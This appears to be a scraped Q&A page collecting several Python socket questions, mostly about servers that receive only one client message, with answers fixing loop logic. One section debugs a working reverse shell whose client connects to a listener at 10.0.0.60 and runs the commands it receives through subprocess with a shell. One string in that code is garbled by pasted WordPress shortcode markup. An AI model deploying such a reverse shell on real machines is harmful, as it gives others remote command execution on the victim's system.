My Python socket server can only receive one message from the client - python

Hi i got a problem with my socket server or the client the problem is i can only send one message from the client to the server then the server stops receiving for some reason i want it to receive more then one.
Server.py
import socket
host = ''
port = 1010
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print ("Connection from", addr)
while True:
databytes = conn.recv(1024)
if not databytes:
break
data = databytes.decode('utf-8')
print("Recieved: "+(data))
if data == "dodo":
print("hejhej")
if data == "did":
response = ("Command recived")
conn.sendall(response.encode('utf-8'))
conn.close()
client.py
import socket
host = '127.0.0.1'
port = 1010
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("Connected to "+(host)+" on port "+str(port))
initialMessage = input("Send: ")
s.sendall(initialMessage.encode('utf-8'))
while True:
response = input("Send: ")
if response == "exit":
s.sendall(response.encode('utf-8'))
s.close()

There is nothing wrong with your code, but the LOGIC of it is wrong,
in the Client.py file and particularly in this loop:
while True:
response = input("Send: ")
if response == "exit":
s.sendall(response.encode('utf-8'))
This will not send to your Server side anything but string exit because of this:
if response == "exit":
So you are asking your Client.py script to only send anything the user inputs matching the string exit otherwise it will not send.
It will send anything at the beginning before this while loop since you wrote:
initialMessage = input("Send: ")
s.sendall(initialMessage.encode('utf-8'))
But after you are inside that while loop then you locked the s.sendall to only send exit string
You have to clean up your code logic.

Related

How to produce correct endless socket connection?

I need to produce endless socket connections, which can be broke only with 1KeyboardInterupt1 or special word.
When I start both programs in different IDEs, the sender asks to input the message. But only the first message sends to the server and all the others don't.
I need to produce an endless cycle, where all inputs are sent to the server on print.
The server part:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
while True:
try:
client, addr = s.accept()
except KeyboardInterrupt:
s.close()
break
else:
res = client.recv(1024)
print(addr, 'says:', res.decode('utf-8'))
And the client:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while True:
com = input('Enter the message: ')
s.send(com.encode())
print('sended')
if com == 'exit':
s.close()
break
I tried to do this on the client:
import socket
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
com = input('Enter the message: ')
s.send(com.encode())
print('sended')
s.close()
if com == 'exit':
break
But this way needs to create a socket, make connection and close socket every iteration.
Is there the way how to do what I described above with only one socket initialization?
The s.close() must be out of the while loop.

Python socket programming , how to communicate with another computer in the same network

#SOLVED#
It is solved when i disable Microsoft FireWall...
I want to make a basic multiplayer game using pygame and socket.
I created two scripts server.py and client.py .
I can send data from one pythonwindow to anotherwindow in the same computer but I want to send data to another window in another computer that connects the same internet connection.
How could it be possible ? Thank you
server.py
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ipv4 = socket.gethostbyname(socket.gethostname())
port = 1233
server_socket.bind((ipv4, port))
#Listens for new connections.
server_socket.listen(5)
#5 is backlog parameter that means while server is busy keep 5 connections.
# If sixth connection comes it will immediately be refused.
connection = True
while connection:
print("Server is waiting for connection.")
client_socket,addr = server_socket.accept()
print("client connected from {}".format(addr))
while True:
data = client_socket.recv(1024)
#Max 1024 bytes can be received and the max amount of bytes is given as parameter.
if not data or data.decode("utf-8") == "END":
connection = False
break
print("received from client : {a}".format(a = data.decode("utf-8")))
try:
client_socket.send(bytes("Hey client","utf-8"))
except:
print("Exited by the user")
client_socket.close()
server_socket.close()
client.py
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ipv4 = socket.gethostbyname(socket.gethostname())
port = 1233
print(ipv4)
#Connection of client to the server.
client_socket.connect((ipv4, port))
message = "Hey naber moruk nasilsin? Ben gayet iyiyim."
try :
while True:
client_socket.send(message.encode("utf-8"))
data = client_socket.recv(1024)
print(str(data))
more = input("Want to send more data to the server ? ('yes' or 'no')")
if more.lower() == "y":
message = input("Enter Payload")
else:
break
except KeyboardInterrupt:
print("Exited by the user")
client_socket.close()

Python TCP server receives only one message out of multiple messages

I have simple code that asks multiple inputs from user and sends it to the server but the server only recieves the first message. How can I make the server get rest of the messages?
Client:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',8000))
for i in range(1,3):
message = input("Enter your message:")
s.send(message.encode())
s.close()
Server:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 8000))
s.listen(1)
print('ready')
while True:
c,addr = s.accept()
sentence = c.recv(1024)
print(sentence.decode())
c.close()
I think the problem is in the server.py line 7. It awaits to accept connection therefore does not wait to receive data.
For server.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 8000))
s.listen(1)
print('ready')
c,addr = s.accept()
while True:
sentence = c.recv(1024)
if sentence:
print(sentence.decode())
c.close()
For the client.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',8000))
for i in range(1,3):
message = input("Enter your message:")
s.send(message.encode())
s.close()

reverse shell looping

Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.
Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.
#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))
Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()

Client-Server messaging gives error (Python - socket programming)

I am trying to write a simple client-server program using python (not python3) and whenever I type a message to send it gives me various errors such as:
File "", line 1
hello my name is darp
^
SyntaxError: invalid syntax
OR
File "", line 1, in
NameError: name 'hello' is not defined
OR
File "", line 1
hello world
^
SyntaxError: unexpected EOF while parsing
Here is the server code:
import socket
def Main():
host = socket.gethostname()
port = 5000
s = socket.socket()
s.bind((host, port))
s.listen(1)
c, addr = s.accept()
print("Connection from: "+str(addr))
while True:
data = c.recv(1024).decode('utf-8')
if not data:
break
print("From connected user: "+data)
data = data.upper()
print("Sending: "+data)
c.send(data.encode('utf-8'))
c.close()
if __name__ == '__main__':
Main()
AND here is the client code
import socket
def Main():
host = socket.gethostname()
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != 'q':
s.send(message.encode('utf-8'))
data = s.recv(1024).decode('utf-8')
print("Recieved from server: " + data)
message = input("-> ")
s.close()
if __name__ == '__main__':
Main()
Even though I can create this connection, the problem occurs after I type the message. Any help would be appreciated, thanks!
In Python2 use raw_input instead of input.
You should use the raw_input instead of input since raw_input will capture your input and convert it to the proper type. When using input you should add quotes around the input.
You can check this in the python docs: https://docs.python.org/2/library/functions.html#raw_input
As far as the code is concerned, the only change you need to make here is in server code. Replace c.close() with s.close() as c is a connection variable whereas s is the socket of server according to your code.
I have made your code run, after making the change it runs as expected.I executed it in Python 3.
The server code is here:
import socket
def Main():
host = "127.0.0.1" # supply different hostname instead of socket.gethostname()
port = 5000
s = socket.socket()
s.bind((host, port))
s.listen(1)
c, addr = s.accept()
print("Connection from: "+str(addr))
while True:
data = c.recv(1024).decode('utf-8')
if not data:
break
print("From connected user: "+data)
data = data.upper()
print("Sending: "+data)
c.send(data.encode('utf-8'))
s.close() # it is s which indicates socket
if __name__ == '__main__':
Main()
And the client code is as given by you:
import socket
def Main():
# here, client is using the hostname whereas you need to give different
# hostname for the server (127.0.0.1 for example) otherwise the code doesn't
# work.You can do the reverse as well.
host = socket.gethostname()
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != 'q':
s.send(message.encode('utf-8'))
data = s.recv(1024).decode('utf-8')
print("Recieved from server: " + data)
message = input("-> ")
s.close()
if __name__ == '__main__':
Main()

Categories

Resources